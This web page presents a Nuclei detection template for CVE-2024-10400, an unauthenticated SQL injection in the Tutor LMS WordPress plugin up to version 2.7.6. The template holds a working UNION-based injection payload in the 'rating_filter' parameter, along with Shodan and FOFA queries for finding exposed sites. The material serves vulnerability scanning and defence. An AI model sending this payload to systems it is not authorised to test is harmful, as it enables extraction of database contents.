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Tutor LMS <= 2.7.6 - SQL Injection

ID: CVE-2024-10400

Severity: high

Author: iamnoooob,rootxharsh,pdresearch

Tags: cve,cve2024,tutor-lms,lms,sqli

Description

Section titled “Description”

The Tutor LMS plugin for WordPress is vulnerable to SQL Injection via the ‘rating_filter’ parameter in all versions up to, and including, 2.7.6 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

YAML Source

Section titled “YAML Source”
id: CVE-2024-10400


info:
  name: Tutor LMS <= 2.7.6 - SQL Injection
  author: iamnoooob,rootxharsh,pdresearch
  severity: high
  description: |
    The Tutor LMS plugin for WordPress is vulnerable to SQL Injection via the ‘rating_filter’ parameter in all versions up to, and including, 2.7.6 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/tutor/tutor-lms-276-unauthenticated-sql-injection-via-rating-filter
    - https://nvd.nist.gov/vuln/detail/CVE-2024-10400
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2024-10400
    cwe-id: CWE-89
    cpe: cpe:2.3:a:themeum:tutor_lms:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: themeum
    product: tutor_lms
    framework: wordpress
    shodan-query: html:"/wp-content/plugins/tutor/"
    fofa-query: body="/wp-content/plugins/tutor/"
  tags: cve,cve2024,tutor-lms,lms,sqli


variables:
  num: '999999999'


http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}


    extractors:
      - type: regex
        part: body
        internal: true
        name: nonce
        group: 1
        regex:
          - '"_tutor_nonce":"([a-z0-9]+)"'


  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded


        action=load_filtered_instructor&_tutor_nonce={{nonce}}&rating_filter=1e0+and+1=0+Union+select+111,2222,3333,4,5,6,7,8,9,concat(md5({{num}}),version()),11,12,14--+-


    matchers:
      - type: word
        part: body
        words:
          - '{{md5(num)}}'
          - '"success":true'
        condition: and


    extractors:
      - type: regex
        part: body
        group: 1
        regex:
          - 'alt=\\".*?:(.*?)\\"'
# digest: 490a00463044022063fbd88b08ce50aa64ac51f424190396d52b38b782f665246aa76fc47b10bb71022020bd2c616a5ef15662483d2c629082e38b2ae74c0239d6b724c3aca4e8cb6a7e:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2024/CVE-2024-10400.yaml"

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